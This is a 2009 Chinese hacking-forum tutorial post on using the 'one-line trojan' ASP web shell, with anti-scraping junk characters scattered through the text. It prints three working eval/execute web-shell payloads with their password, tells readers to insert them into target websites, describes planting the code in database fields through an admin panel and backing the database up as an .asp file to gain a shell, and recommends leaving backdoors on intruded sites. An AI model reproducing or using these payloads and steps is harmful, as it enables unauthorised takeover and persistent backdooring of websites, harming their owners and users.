【3.A.S.T】网络安全爱好者 - Powered by Discuz! Board

标题: [原创教程] 一句话木马的使用方法视频 [打印本页]

作者: oooooo 时间: 2009-7-3 09:19 标题: 一句话木马的使用方法视频

一句话木马的使用
, @# i$ @( U7 m: R# t7 M
by:柔肠寸断 790653916  www.3ast.com.cn  不免费收点徒弟~~~( O* _5 m, j) n  H0 k/ Z

1、咱们先弄懂怎么使用的。
# u3 T& ^  w: _4 j
分为客户端和服务端' G! v' C. r6 n0 _4 X% A% R" C

3 t% c6 a9 z, [2 T8 a, N' O; V
客户端是连接上去的程序，也可以是网页0 w4 Z9 F+ y  U' A2 d

http://www.3ast.com.cn/tool/yijuhua.html% D" T/ h/ h! \- X; c
! {( q+ a9 x9 W' z
服务端就是一段代码，代码里有对应的“密码”

提供三个服务端: ) ~) H) W& g. b% o& e( }5 G" R
1. <%eval request("cnnsc")%>
2. <%execute request("cnnsc")%> 3 ]; ?0 W3 G* Q6 L) J6 j( G
3. <%execute(request("cnnsc"))%> . D3 J0 M; r: K8 f
+ R( B8 H9 g+ M* C
cnnsc--密码
; M$ {( c. M# X; }+ j0 i- Z+ Q  t
我们只要把这个代码插入到对方网站的网页中就可以了
- |- i9 f9 n% @3 Y$ F2 w0 M
我演示下，用已经有的一个webshell添加一个asp文件，加上 <%eval request("cnnsc")%>

换一个页面，添加过了。访问的时候一切正常，看链接

上传之后$ Y% T$ o: E" w8 }
7 k* Q; o% M0 p4 J7 u0 @4 [) Z
链接上去了
OK.这个就是链接的主要过程
' `, [+ a' e0 \& r. {% }
  p. ]4 O0 T- x7 S% [: e
+ a5 g  b% \6 K6 ^
3 F2 X, g0 p5 _
2、然后懂得哪里会用上、怎么用& r% @. F8 T& o& }' I- ]# F- m& E

(1)有的时候我们进入了XXX的后台，后台有备份数据库，那么我们就可以在系统中插入这个一句话代码，任意地方，比如皮肤名称啊，文章标题啊，只要是会被写进数据库的就可以了，然后备份数据库成一个asp文件（也有php的一句话），然后链接就可以拿下来了. t% v& S5 {! f
3 J+ t) y5 Z: l( e3 i0 G
(2)可以给自己入侵的网站留下后门。。。。. Z7 l# Z/ o7 B) d

(3)我再想想。。。哎，想不出，还是要自己多多实践。。。。  u9 W- Z# s8 J) l& i& v
7 S, @+ y4 J  f
好了，教程到此结束，不懂的可以再来问我。。。790653916

作者: EndTo偌枫 时间: 2009-7-3 13:27